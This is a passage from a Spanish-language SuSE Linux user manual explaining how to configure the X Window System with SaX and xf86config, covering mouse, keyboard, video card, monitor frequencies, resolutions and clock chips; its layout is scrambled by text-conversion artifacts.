se puede comprobar la configuración del mouse (figura 8.2 en la página anterior); si está bien ajustado, los botones del mouse en el dibujo se alumbran cuando se pulsa uno de los botones reales. El teclado El teclado por defecto es uno del tipo Windows 95/98 con la distribución de teclado Spanish (figura 8.3). Si se tiene otro, se deben poner los valores correctos, ya que el teclado es uno de los pocos componentes que no pueden ser reconocidos automáticamente. Figura 8.3: SaX : Teclado Comparando el teclado con el que se muestra en pantalla `Teclado', es fácil ajustar el modelo adecuado bajo `Modelo'. Tampoco hay que olvidar de poner bajo `Lenguaje' `Español' para que todos los caracteres salgan correctamente. Esto se puede comprobar en un área de pruebas al lado del botón `Borrar'. Lo más probable es que no haga falta ajustar nada bajo `Experto'. Al pulsar el botón `Aplicar', los ajustes realmente se activan. La tarjeta gráfica En la ficha `Tarjeta gráfica' se puede seleccionar el fabricante en la lista del lado izquierdo y, al lado derecho, el correspondiente modelo (figura 8.4 en la página siguiente). SaX intenta reconocer la tarjeta gráfica por sí mismo, lo que generalmente funciona muy bien para tarjetas del tipo PCI. La utilidad se apoya en un banco de datos amplio y actualizado sobre tarjetas de vídeo; ver el paquete cdb (ingl. Component Data Base). El hardware encontrado resalta en color. El botón `Experto' alberga opciones de ajuste avanzadas (figura 8.5 en la página siguiente). Estas se tocan cuando se elige el servidor X directamente * * 241 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Figura 8.4: SaX : Tarjeta de vídeo (`Parámetros del servidor') o cuando se quiere especificar el tamaño de la memoria de la tarjeta, especificar el valor de ''Ramdac'' o seleccionar un Ramdac- o Clock-Chip (en `Chipsets'). Es aconsejable bajar el valor del Ramdac cuando aparecen imágenes raras efectuando operaciones de ventana, p. ej. cuando parpadean fragmentos de la línea de título de una ventana. Figura 8.5: SaX : Tarjeta de vídeo ~ Opciones especiales Algunas tarjetas de vídeo necesitan `Opciones' especiales, que encuentran su lugar en el menú ampliado. Para el caso estándar no se necesitan estas opciones. ________________________________________________________________________________________________________* *________|| | Las tarjetas del tipo ISA no se reconocen automáticamente; hay que elegir * * |||| | el servidor X adecuado ''a mano''. * * ||| |_______________________________________________________________________________________________________* *________|||_ 242 ________________________________________________________________________________________8.1.__Configuración_con_SaX_________* *______________________ Si aparece el mensaje de error "The SVGA server is not installed..." cuando se está seleccionando la tarjeta gráfica, hace falta instalar con YaST el paquete indicado en dicho mensaje (ver apartado 3.5 en la página 96Escoger / Instalar paquetessection.3.5). El Monitor El último obstáculo para llegar a correr el sistema X Window es la config- uración del monitor usado. La ficha de `Monitor' funciona como la de la tarjeta gráfica. En la lista a la izquierda se selecciona el fabricante del monitor (`Fabricante') y en la derecha el tipo (`Modelo'). Si la propia pantalla no se encontrara en la lista es posible definir los rangos de frecuencia horizon- tal y vertical de su monitor pulsando el botón `Experto'. Los rangos de frecuencia se encuentran generalmente en el manual de su monitor. Si no se tuviera ningún dato sobre el monitor, SaX utiliza como valores pre- determinados 29-61 kHz de frecuencia horizontal y 60-70 Hz de frecuencia vertical. Estos valores no provocan daños en la gran mayoría de monitores. No obstante, si la imagen se queda oscura o si parpadea mucho cuando ar- ranca el servidor X, entonces se__debería_ ''eliminar''_ el__servidor__inmediata- mente con la combinación de teclas |C______|trl+ |A____l|t+ | ____7|;!| ____7|i!ndica la tecla ''Backspace'' para borrar hacia atrás. ¡En caso de no parar inmediatamente el servidor X es posible que se dañe el monitor! La pantalla Si se ha tenido éxito con la instalación de la tarjeta gráfica, se tiene una multitud de resoluciones y de profundidades de color a disposición, que se administran en el menú `Escritorio' (figura 8.6 en la página siguiente). La ficha `Escritorio' tal vez se parece un poco al ajuste de pantalla de otro sistema operativo ;-) En el `Escritorio' se puede elegir para cada profundidad de color (`Col- ores') una resolución (`Resolución'). En el modo de experto (`Experto') es posible generar una lista con varias resoluciones para una determinada profundidad de color (`Expert' figu- ra 8.7 en la página siguiente). `Resolución': Esta ficha se divide en: `Posible' Resoluciones posibles. `Actual' Resoluciones actuales. `Colores' La lista con las profundidades de color. Seleccionar en la fila vertical de botones al lado derecho, la profundidad de color (`Colores') a la que se quiere configurar la resolución de pan- talla. El servidor X puede arrancar en distintas profundidades de color, p. ej. en profundidad de 8 bit , equivalente a 256 colores que se pueden mostrar a la vez. A cada profundidad de color corresponden diferentes resoluciones de pantalla, p. ej. la resolución 800x600 , pero no todas las resoluciones * * 243 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Figura 8.6: SaX : Desktop Figura 8.7: SaX : Ajustes adicionales Desktop existen para todas las profundidades de color. Por ejemplo una resolución de 1600x1200 a profundidad de color de 32 bit es imposible para la mayoría de las tarjetas, porque no contienen suficiente memoria. A una profundidad de 8 bit existen diferentes resoluciones desde p. ej. 640x480 hasta 1600x1200 , que están apuntadas en la lista actual de res- oluciones. Durante la ejecución del servidor X se pueden cambiar tales resoluciones según el orden en la lista pulsando la combinación de teclas |_______|Ctrl+ |_____A|lt+ |__|+o |_______|Ctrl+ |_____A|lt+ |__|-, (hay que usar |__|+o |__|-del * *bloque de teclas numéricas). El primer elemento de la lista representa la resolución en la que arranca el servidor X por defecto. De la lista de las resoluciones posibles (`Posible'), hay que mover las deseadas a la lista de las actuales (`Actual'). Para hacerlo se hace un ''click'' sobre la resolución en cuestión y después sobre el botón `E' para 244 ________________________________________________________________________________________8.1.__Configuración_con_SaX_________* *______________________ entrar esta resolución a la lista de las actuales y con `V' se quitan los elementos de esta lista. El orden de los elementos en la lista `Actual' se puede modificar usando las teclas de flecha que están ubicadas por debajo de la ventana con el listado. Para efectuarlo, se marca el elemento a mover y posteriormente se pulsa con el botón izquierdo del mouse la flecha arriba o abajo. Así el elemento cambia de sitio con su sucesor o antecesor. Cuando se hayan hecho los ajustes de profundidad de color de 8 bit , se pueden usar los botones a la derecha para seleccionar otra profundidad, p. ej. 16 bit . Ahora aparecen en la lista `Possible' las resoluciones posibles para esta profundidad de color, que pueden ser manipuladas tal como se ha indicado antes. `Resolución virtual': Esta ficha permite configurar tamaños de pan- talla virtuales. Si realmente se quiere tener una zona de pantalla virtual, entonces hay que aumentar los valores bajo `Virtual X' (= Anchura) o `Virtual Y' (= Altura). Por lo general se trata de algo no deseado. Explicación: El sistema X Window ofrece la posibilidad de definir un tamaño de escritorio virtual, lo que permite trabajar sobre un escritorio más grande que la pantalla visible. Por ejemplo se puede trabajar con un tamaño de escritorio de 1152x864 teniendo una resolución de monitor de 800x600 . `Especial': Esta ficha permite generar una resolución propia. Además se puede definir aquí la calidad (`Calidad')de los ''Modelines'', eligiendo dos maneras diferentes de cálculo de los mismos. Ahora se puede determinar con cuál profundidad de color arranca por defecto el servidor X, (ingl. default). Para ello hay que marcar en la ficha `Escrito- rio' la profundidad de color deseada (usando `Colores'). Después de esto se pulsa el botón `Configurar este modo' para arrancar el servidor X de prueba. . . Prueba de la configuración Después de un corto intervalo de cálculo aparece un cuadro de mensaje; si se está de acuerdo se pulsa `Sí'. Después debería aparecer una imagen de fondo y una ventana que muestra en el lado izquierdo información sobre la resolución actual y las frecuencias verticales y horizontales del modo de vídeo elegido. Las teclas de flecha en el campo `Tamaño' permiten aumentar o disminuir en dirección horizontal y vertical. El campo `Posición' sirve para cambiar la ubicación relativa de la imagen en el monitor. ¡Use las teclas para ajustar la imagen a gusto! En las cuatro esquinas de la pantalla hay pequeños cuadros para ver si la imagen esta bien ajustada. En caso de un ajuste correcto estas esquinas se deben ver completamente sin distorsión de color. _______________________________________________________________________________________________________________________ |||||||| ¡SaX no permite más que el ajuste fino de la imagen en pantalla y por lo || | |||||||| || | |||||||| tanto no reemplaza el ajuste manual con las teclas del monitor! || | ||||||||_______________________________________________________________________________________________________________||_ * * 245 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Después del ajuste de la imagen existen dos posibilidades de cerrar la ventana: `Guardar': Terminar la configuración de sistema X Window y grabar los ajustes actuales, con lo cual se regresa al prompt de Linux. `Cancelar': Cancelación de SaX sin grabación de los ajustes. Para regresar a la primera consola se pulsa |A_____|lt+ |F___|_1. 8.1.2 Reconfiguración SaX también ayuda mucho ajustando un servidor X a las necesidades una vez que esté instalado. Para ello SaX lee y analiza la configuración en /etc/XF86Config, en la cual el sistema X Window graba sus propios datos de configuración. Por eso no hace falta configurar otra vez todo (de mouse a monitor), porque SaX acoge la configuración existente que funciona. Los datos leídos en /etc/XF86Config se muestran en sus correspondientes fichas. No obstante, el usuario tiene toda la libertad en la nueva configuración del servidor X: Puede seleccionar el modelo de monitor del amplio banco de datos y así, adaptar mejor la configuración a las capacidades del monitor como también ajustar cómodamente la posición de la imagen en pantalla. Además SaX ofrece una superficie confortable para la administración de to- das las combinaciones de profundidad de color y de resolución de la tarjeta de vídeo a través de un simple ''click'' del mouse en la ficha `Escritorio'. 8.1.3 Resolución de problemas En este apartado tiene lugar la discusión sobre los problemas más grandes, que pueden ocurrir durante la configuración del servidor X usando SaX . o Si al probar la configuración el monitor comienza a parpadear o a mostrar una imagen negra o torcida, ''mate'' inmediatamente_el servidor_X para____ que no_se_dañe la pantalla. Para_ello_pulse |C______|trl+ |A____l|t+ | ____7|(!¡Cuidado, no |T____a|b, sino la tecla | ____7| !(Backspace)!) Después de algo así, se entra en la ficha `Monitor' y se elige un monitor adecuado o se introducen los datos del monitor a mano. Lo mismo es válido cuando la imagen empieza a parpadear durante el ajuste de la pantalla. o En casos complicados, SaX ofrece opciones para la línea de comando, p. ej. : --server vga16 : En el primer inicio de SaX , se utiliza el servidor VGA16 en lugar del servidor X especial de la tarjeta de vídeo. Este servidor debería funcionar prácticamente con todas las tarjetas y se us- ará automáticamente cuando SaX no la reconozca o cuando se use una tarjeta ISA. La documentación actual respecto a SaX se encuentra en el directorio /usr/ doc/packages/sax. Las excepciones en el arranque de SaX o durante su configuración se guardan en los ficheros /root/ServerLog y /root/ StartLog, que se pueden consultar en caso de problemas, para sacar conclu- siones de cómo resolver errores relacionados con SaX . 246 ________________________________________________________________________________________8.1.__Configuración_con_SaX_________* *______________________ 8.1.4 Inicio del sistema X Window Ahora cualquier usuario puede arrancar el sistema X Window con el comando startx . Se activa una superficie gráfica preconfigurada por defecto, usando el gestor de ventanas fvwm . Por eso, es mejor ejecutar startx desde la cuenta de usuario y no desde la de `root'. Los errores del servidor X (si los hubiese) se encuentran en el fichero ~/.X.err. La llamada startx soporta un par de opciones; por ejemplo con tux@tierra: > startx -- -bpp 16 se puede elegir la profundidad de color de 16 Bit. 8.1.5 Configuración de la tarjeta gráfica: Problemas y soluciones El sistema X Window está funcionando pero la imagen está distorsionada o la idea es la optimización de la imagen. o La mayor causa de distorsiones es una frecuencia vsync demasiado alta. Como hsync y DotClock dependen linealmente de ello resultan diversos problemas. La reducción del refresco de pantalla (p. ej. a 80 Hz) puede resolver el problema y la imagen aún sigue estando prácticamente libre de parpadeo. Además a esta frecuencia de refresco la imagen es más nítida, como con un refresco de 160 Hz. Lo mejor es intentar bajar el refresco del monitor. Para ello se selecciona en SaX la ficha `Monitor' y bajo `Extendido' se configura una fre- cuencia de refresco más baja. Para monitores modernos una frecuencia de refresco entre 80 y 90 Hz resulta agradable. o A veces hay problemas con el ''Hardwarecursor'': Puede ocurrir que se muestre un bloque rectangular o algo que se parece a un código de barras en lugar del cursor del mouse (una flecha). Esto se resuelve indicando la Opción "sw_cursor" en la Sección "Device" . o Si existen problemas de configuración en general, consulte primero los ficheros README en el directorio /usr/X11R6/lib/X11/doc/ (están or- denados según los nombres de los fabricantes de chipsets), las páginas de manual (Manpages) acerca de los servidores X y también los FAQ acer- ca de XFree86 (http://www.xfree86.org); otra fuente de información son las páginas de SuSE sobre actualizaciones: http://www.suse.de/en/support/xsuse/ La siguiente lista está ordenada según la probabilidad de éxito, por lo que generalmente el problema se resuelve con la primera opción y si no con la segunda. La tercera opción es el último recurso que emplea un poco de fuerza ;-) Todas las opciones que figuran aquí se anotan en la sección ''Device'' del fichero /etc/XF86Config. o En lugar de cursor, un código de barras o un rectángulo coloreado. 1. Opción sw_cursor en la sección ''Device''. 2. Opción no_imageblt o no_bitblt . * * 247 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ 3. Opción noaccel . o Imagen estrecha o aplastada con los ajustes de la pantalla en sus límites. 1. Probablemente la frecuencia de refresco o la frecuencia de sin- cronización horizontal hsync son demasiado altas y en el límite de la pantalla. Solución: Reduzca la frecuencia wertvsync y/o hsync . 2. Mover la imagen con el programa xvidtune . Tal vez justamente el modo escogido no ''encaja'' bien. 3. Añadir +hsync +vsync a la línea ''Modeline'' e intentar reemplazar + por - . o Quedan rallas o restos de ventanas en la pantalla cuando se está moviendo ventanas. Estos restos no desaparecen antes de un refresco total del escritorio. 1. Reducir frecuencia de refresco o resolución. 2. Según el chipset gráfico introducir opciones que figuran en los ficheros README del directorio /usr/X11R6/lib/X11/doc/. Por ejemplo las opciones fifo_conservative o slow_dram . Atención: ¡Las op- ciones dependen evidentemente del chipset! 3. Usar la opción noaccel , tal vez ya alcanza no_imageblt o no_bitblt . o ''Noise'' ~ Rallas intermitentes que aparecen en pantalla al mover una ventana o al mirar un vídeo, pero que desaparecen cuando la imagen es estática. 1. Reducir frecuencia de refresco, profundidad de color o la resolución. 2. Reducir la frecuencia de la memoria o quitar (o bien introducir) ''Wait- states''. Se trata de una operación que funciona a veces con la op- ción set_mclk (¡no para todos los chipsets!); hay más detalles en los README. Cuidado, la opción es peligrosa ya que se puede forzar la frecuencia de la tarjeta gráfica. 3. Tal vez la frecuencia del bus es demasiado alta; compruebe la frecuen- cia del bus PCI/VLB o ISA. o Iniciando XFree86 la pantalla se pone negra. 1. Reducir la frecuencia de refresco. 2. Considere otras fuentes de error como conflictos de IRQ (p. ej. un mouse PS/2 necesita la IRQ 12). 8.2 Configuración con xf86config SaX como herramienta de configuración supera casi siempre al programa xf86config cuando se trata de configuraciones simples del sistema X Window. En las pocas ocasiones en las que SaX no llega a configurar correctamente el servidor X, esto funciona casi siempre con xf86config . Se necesita una serie de datos para la configuración: 248 ____________________________________________________________________________8.2.__Configuración_con_xf86config______________* *______________________ o Tipo de mouse, puerto de conexión y velocidad de transferencia en bau- dios (lo último suele ser opcional). o Especificación de la tarjeta de vídeo. o Especificación del monitor (frecuencias, etc.). Conociendo estos datos se puede comenzar con la configuración, que sola- mente puede ser ejecutada por el usuario `root'. La configuración se inicia con: tierra:/root # /usr/X11R6/bin/xf86config Mouse Después de una pantalla de bienvenida, el primer menú pregunta por el tipo de mouse. Aparecen las siguientes opciones: _______________________________________________________________________________________________________________________|| |||||||| 1. Microsoft compatible (2-button protocol) | |||||||| 2. Mouse Systems (3-button protocol) | |||||||| | |||||||| 3. Bus Mouse | |||||||| 4. PS/2 Mouse | |||||||| 5. Logitech Mouse (serial, old type, Logitech protocol) | |||||||| 6. Logitech MouseMan (Microsoft compatible) | |||||||| | |||||||| 7. MM Series | |||||||| 8. MM HitTablet | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 8.2.1: Selección de mouse para los X Configurando el tipo de mouse hay que considerar que, muchos de los mouse más recientes de Logitech son compatibles con Microsoft o que usan el pro- tocolo MouseMan. ¡La selección de Bus Mouse se refiere a todos los tipos de mouse de bus, también los de Logitech! El tipo de mouse adecuado se selecciona indicando el número al comienzo de la fila. Después (p. ej. seleccionando el tipo 1) aparece la pregunta por la activación de ChordMiddle . Se trata de una opción necesaria para la activación del botón del medio de algunos mouse de Logitech o para algunos Trackballs: Please answer the following question with either `y' or `n'. Do you want to enable ChordMiddle? La afirmación (`y') de la siguiente pregunta permite la emulación de un tercer botón de mouse para aquellos que solo tienen dos botones: Please answer the following question with either `y' or `n'. Do you want to enable Emulate3Buttons? El tercer botón de mouse se emula interpretando el uso de los dos botones a la vez, como el del botón del medio. Después se pregunta por el puerto en el cual está el mouse: Now give the full device name that the mouse is connected to, for example /dev/tty00. Just pressing enter will use the default, /dev/mouse. Mouse device: Durante la instalación ya se ha definido un puerto de mouse, así que se puede usar aquí esta definición (/dev/mouse ). * * 249 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Teclado Ahora viene la pregunta, si se debería asignar a la tecla izquierda de | ____ ____ A____l|tel valor Meta (ESC) y a la derecha de |A____l|tel valor ModeShift (AltGr): Please answer the following question with either `y' or `n'. Do you want to enable these bindings for the Alt keys? Es aconsejable_elegir_`y' para llegar a los caracteres especiales que se alcan-_ zan con |A_________l|ty Grtambién para poder usar la tecla izquierda de |A____l|tcomo Meta-tecla3 . Monitor Ahora hay que especificar el monitor. Los datos críticos son la frecuencia vertical y horizontal que están generalmente documentados en el manual del monitor. ________________________________________________________________________________________________________* *________|| | ¡Indicar rangos de frecuencia equivocados puede provocar la destrucción * * |||| | del monitor! El sistema X Window solo usa los modos de vídeo que envían * * ||| | * * ||| | señales localizadas dentro del rango de frecuencias admitidas. * * ||| |_______________________________________________________________________________________________________* *________|||_ Los valores admisibles para algunos monitores se encuentran en /usr/ X11R6/lib/X11/doc/Monitors4 Para elegir la frecuencia horizontal se presenta la siguiente selección: ________________________________________________________________________________________________________* *________|||| | hsync in kHz; monitor type with characteristic modes * * | | 1 31.5; Standard VGA, 640x480 @ 60 Hz * * | | 2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz * * | | 3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl. * * | | * * | | (no 800x600) * * | | 4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il., * * | | 800x600 @ 56 Hz * * | | * * | | 5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, * * | | 640x480 @ 72 Hz * * | | 6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, * * | | 800x600 @ 72 Hz * * | | * * | | 7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz * * | | 8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz * * | | 9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz * * | | 10 Enter your own horizontal sync range * * | | * * | | Enter your choice (1-10): * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 8.2.2: Definición de las frecuencias horizontales del monitor Solo en caso de no conocer los datos exactos del monitor, se escogerá una de las opciones predefinidas. Con `10' es posible introducir las frecuencias exactas. Después del diálogo que pregunta por las frecuencias horizontales hay que definir las verticales. Aquí se presenta también una selección: _____________________________________________3 p. ej.en Emacs 4 ¡No hay garantía para estos valores! 250 ____________________________________________________________________________8.2.__Configuración_con_xf86config______________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| 1 50-70 | |||||||| 2 50-90 | |||||||| | |||||||| 3 50-100 | |||||||| 4 40-150 | |||||||| 5 Enter your own vertical sync range | |||||||| | |||||||| | |||||||| Enter your choice (1-5): | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 8.2.3: Frecuencias verticales detalladas Como en la anterior pregunta, es mejor introducir los valores exactos en lugar de recurrir a uno de los rangos dados de `1' a `4'. Después se pide introducir un nombre para la descripción del monitor, Enter an identifier for your monitor definition: el nombre del fabricante, Enter the vendor name of your monitor: y el modelo: Enter the model name of your monitor: En las anteriores preguntas se puede introducir el_nombre_correspondiente o usar los valores predeterminados pulsando |_______E|nter. Con esto se finaliza la especificación del monitor. Tarjeta de vídeo/servidor X Se continúa con la especificación de la tarjeta gráfica usada: Do you want to look at the card database? Introduciendo `y' aparece una lista con tarjetas de vídeo preconfiguradas. Se puede seleccionar de esta lista la definición de una tarjeta indicando el número correspondiente. ¡Al elegir una tarjeta de vídeo hay que tener en cuenta que incluso tarjetas del mismo tipo pueden tener variaciones respecto a Clock-Chip y RAMDAC (ingl. Random Access Memory Digital-to-Analogue Converter)! Por eso existe más adelante la opción de configurar Clock-Chip y RAMDAC de manera individual, aunque la tarjeta ya haya sido elegida anteriormente de la lista de preconfiguraciones. Las definiciones del banco de datos de tarjetas, contienen información sobre Clock-Chip, RAMDAC y el servidor X a usar. Según el caso, se añaden también datos interesantes sobre la tarjeta en la sección Device del fichero XF86Config. Si la tarjeta gráfica buscada no se encuentra en el listado, no hay por qué preocuparse. Es posible volver con `q' a la configuración normal. Al selec- cionar una tarjeta, solamente se debería seleccionar una del listado, cuando el nombre de la lista corresponde exactamente con la tarjeta usada. No se re- comienda elegir una tarjeta con un nombre parecido, ya que esto no significa que el hardware también lo sea. En el apartado 8.3 en la página 256Optimización de la instalación del sistema X Windowsection.8.3 hay información adicional sobre la configuración de la tarjeta gráfica. * * 251 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ Después de haber especificado la tarjeta viene la selección del servidor X: ________________________________________________________________________________________________________* *________|||| | 1 The XF86_Mono server. This a monochrome server that should work on * * | | any VGA-compatible card, in 640x480 (more on some SVGA chipsets). * * | | 2 The XF86_VGA16 server. This is a 16-color VGA server that should * * | | * * | | work on any VGA-compatible card. * * | | 3 The XF86_SVGA server. This is a 256 color SVGA server that supports * * | | a number of SVGA chipsets. It is accelerated on some Cirrus and WD * * | | chipsets; it supports 16/32-bit color on certain Cirrus * * | | * * | | configurations. * * | | 4 The accelerated servers. These include XF86_S3, XF86_Mach32, * * | | XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and * * | | * * | | XF86_Mach64. * * | | * * | | These four server types correspond to the four different "Screen" * * | | sections in XF86Config (vga2, vga16, svga, accel). * * | | * * | | * * | | 5 Choose the server from the card definition, XF86_S3. * * | | * * | | Which one of these four screen types do you intend to run * * | | * * | | by default (1-4)? * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 8.2.4: Selección del servidor X 1 Un servidor para monitores monocromáticos. Debería funcionar con cualquier tarjeta gráfica compatible a VGA con una resolución mínima de 640x480 puntos. 2 El servidor de 16 colores XF86`VGA16. Debería funcionar con cualquier tarjeta compatible a VGA. 3 El servidor SVGA XF86`SVGA. Este servidor de 256 colores soporta una gran cantidad de tarjetas SVGA. Algunas tarjetas de Cirrus y de WD aprovechan la aceleración de gráficos. Hay tarjetas de Cirrus que permiten una profundidad de color 16 o 32-Bit en modo color. 4 Servidor para tarjetas aceleradoras. Hay varios servidores a disposición (ver más abajo) 5 Esta opción solo existe cuando se ha elegido una tarjeta en la lista anterior. Se propone el servidor adecuado para la tarjeta. Cuando se ha elegido un servidor, aparece una pregunta acerca de la gen- eración de un enlace simbólico del servidor elegido en /usr/X11R6/bin/X. Al afirmar la pregunta con `y', el programa pide la confirmación para colocar el enlace en /var/X11R6/bin: Do you want to set it in /var/X11R6/bin? Afirme esta pregunta, porque es posible que no necesariamente se pueda escribir en el árbol /usr. Ahora aparece un menú con los servidores X disponibles para tarjetas aceler- adoras, si en la selección anterior se ha escogido `4': Estos servidores son especiales y soportan las prestaciones adicionales de las correspondientes tarjetas. La colocación del enlace supone que el servidor X correcto ya fue instalado durante la instalación del sistema X Window. Después de la selección del servidor X, hace falta especificar la tarjeta gráfica en más detalle. Primero se define la cantidad de memoria instalada. 252 ____________________________________________________________________________8.2.__Configuración_con_xf86config______________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Select an accel server: | |||||||| | |||||||| | |||||||| 1 XF86_S3 | |||||||| 2 XF86_Mach32 | |||||||| 3 XF86_Mach8 | |||||||| 4 XF86_8514 | |||||||| | |||||||| 5 XF86_P9000 | |||||||| 6 XF86_AGX | |||||||| 7 XF86_W32 | |||||||| 8 XF86_MACH64 | |||||||| | |||||||| | |||||||| Which accel server: | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 8.2.5: Servidores X acelerados _______________________________________________________________________________________________________________________|||| |||||||| How much video memory do you have on your video card: | |||||||| | |||||||| 1 256K | |||||||| 2 512K | |||||||| 3 1024K | |||||||| | |||||||| 4 2048K | |||||||| 5 4096K | |||||||| 6 Other | |||||||| | |||||||| | |||||||| Enter your choice: | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 8.2.6: Definición de la cantidad de memoria gráfica Después pregunta por un nombre, el fabricante y el tipo de tarjeta gráfica. Si se ha elegido antes la tarjeta desde el banco de datos es suficiente con pulsar _- |||||||||__. Enter an identifier for your video card definition: Enter the vendor name of your video card: Enter the model (board) name of your video card: Si se ha elegido como servidor X uno del tipo acelerado, aparece ahora la pregunta por el ''RAMDAC setting''. Solo es importante para tarjetas del tipo S3 o AGX: Generalmente lo mejor es pulsar | _____|_-y no seleccionar nada, salvo que se haya elegido una tarjeta que soporta una configuración de RAMDAC especial. Este caso estará indicado y se recomienda seleccionarlo realmente. Después de haber contestado a esto se puede elegir el Clock-Chip de las tarjetas aceleradas si es que lo llevan. Seleccionando un Clock-Chip ya no se necesitan líneas de Clock, ya que los valores-Clock necesarios pueden ser programados: Si se usa una tarjeta gráfica sin ''Clock-Chip'', es suficiente con pulsar |______|-, para no seleccionar ninguno. Si la tarjeta fue seleccionada en el listado de tarjetas se indica automáticamente el Clock-Chip que exista. Sin haber seleccionado ningún Clock-Chip, xf86config propone iniciar el programa X -probeonly para determinar los Clock-Timings que soporta la * * 253 8. El sistema X Window____________________________________________________________________________________________________________* *_______________________________________@ | * * | ________________________________________________________________________________________________________* *________|||| | 1 AT&T 20C490 (S3 server) att20c490 * * | | 2 AT&T 20C498/21C498/22C498 (S3) att20c498 * * | | 3 AT&T 20C505 (S3) att20c505 * * | | * * | | 4 BrookTree BT481 (AGX) bt481 * * | | 5 BrookTree BT482 (AGX) bt482 * * | | 6 BrookTree BT485/9485 (S3) bt485 * * | | 7 Sierra SC15025 (S3, AGX) sc15025 * * | | * * | | 8 S3 GenDAC (86C708) (autodetected) s3gendac * * | | 9 S3 SDAC (86C716) (autodetected) s3_sdac * * | | 10 STG-1700 (S3) stg1700 * * | | 11 TI 3020 (S3) ti3020 * * | | * * | | 12 TI 3025 (S3) ti3025 * * | | 13 TI 3020 (S3, autodetected) ti3020 * * | | 14 TI 3025 (S3, autodetected) ti3025 * * | | 15 TI 3026 (S3, autodetected) ti3026 * * | | * * | | 16 IBM RGB 514 (S3, autodetected) ibm_rgb514 * * | | 17 IBM RGB 524 (S3, autodetected) ibm_rgb524 * * | | 18 IBM RGB 525 (S3, autodetected) ibm_rgb525 * * | | * * | | 19 IBM RGB 526 (S3) ibm_rgb526 * * | | 20 IBM RGB 528 (S3, autodetected) ibm_rgb528 * * | | 21 ICS5342 (S3, ARK) ics5342 * * | | 22 ICS5341 (W32) ics5341 * * | | * * | | 23 IC Works w30C516 ZoomDac (ARK) zoomdac * * | | 24 Normal DAC normal * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 8.2.7: Indicación del RAMDAC ________________________________________________________________________________________________________* *________|||| | 1 Chrontel 8391 ch8391 * * | | 2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a * * | | 3 ICS2595 ics2595 * * | | 4 ICS5342 (similar to SDAC, but not completely compatible) * * | | * * | | ics5342 * * | | 5 ICS5341 ics5341 * * | | 6 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac * * | | 7 S3 SDAC (86C716) s3_sdac * * | | * * | | 8 STG 1703 (autodetected) stg1703 * * | | 9 Sierra SC11412 sc11412 * * | | 10 TI 3025 (autodetected) ti3025 * * | | 11 TI 3026 (autodetected) ti3026 * * | | * * | | 12 IBM RGB 51x/52x (autodetected) ibm_rgb5xx * * | |_______________________________________________________________________________________________________* *________ | Mensaje en pantalla 8.2.8: Determinación del Clockchip 254 ____________________________________________________________________________8.2.__Configuración_con_xf86config______________* *______________________ tarjeta. Estos se apuntarán automáticamente en una línea de Clocks en el fichero XF86Config. Aquí hay que indicar claramente, por qué los Clock-Timings que se deter- minan automáticamente pueden ser muy peligrosos: Si la tarjeta tiene un Clock-Chip programable, el servidor X no puede cambiar entre los distintos Clocks de la tarjeta y por tanto solo reconoce los Clocks 0, 1 y a veces 2. Los demás valores son más o menos casuales (generalmente los Clocks 0, 1 y 2 se repiten y por eso se reemplazan por ceros). Los clocks distintos de 0 y 1 dependen mucho de la pre-programación del Clock-Chip, por lo que el valor del Clock 2 puede ser diferente cuando se efectúa la prueba (valor que se apunta en XF86Config) al valor del momento de arrancar el servidor X. De este modo todos los Timings son falsos y el monitor se puede dañar. Un buen indicio para un Clock-Chip programable y sus problemas son muchos ceros en los valores del Timing o valores que continuamente se repiten. ¡En ningún caso se deben introducir valores semejantes en el fichero XF86Config! Para determinar el Clock-Chip o el Clock-Timing se puede usar la siguiente estrategia: o Lo mejor es indicar un Clock-Chip programable si es que existe sobre la tarjeta. En este caso se programa correctamente y el fichero XF86Config no contendría ninguna referencia a los Clocks. Otra posibilidad es la com- paración de los circuitos (chips) que hay sobre la tarjeta con los Clock- Chips que se ofrecen en el menú, para averiguar así el que coincide. Casi todas las tarjetas modernas del tipo S3 llevan un Clock-Chip programable. o Si no tiene ningún Clock-Chip programable sobre la tarjeta, lo mejor es ejecutar X -probeonly y comparar los valores encontrados con los del manual de la tarjeta (la computadora no debe correr ningún otro progra- ma). Si estos más o menos coinciden ( 2), anote los valores en el fichero XF86Config. Si no es posible comparar los valores, compruebe la validez de los mismos (muchos ceros o valores que se repiten continuamente indican valores no válidos). Anote los valores válidos a mano en XF86Config, pero no suprima ningún valor ni intente reordenar o modificar de alguna manera los mismos. Hay que apuntar los valores en el mismo orden de aparición. Usando el servidor P9000 se introduce sencillamente, para cada modo, el clock deseado en la línea Clocks . El orden de los modos no es impor- tante. o Siempre es válido: Cuando el Clock-Chip es programable no debe existir ninguna línea de Clocks en XF86Config (Excepción: P9000). Al contrario, cuando el Clock-Chip no es programable, sí que debe haber una línea de Clocks en XF86Config. Así se evita la determinación automática pesada y tal vez peligrosa de los Clocks en cada arranque del sistema X Window. Además en caso de tarjetas que no permiten leer los Clocks no aparecen valores falsos y así no habrá riesgo para el monitor. Para probar ahora los Clocks (tener en cuenta los párrafos anteriores), se contesta la siguiente 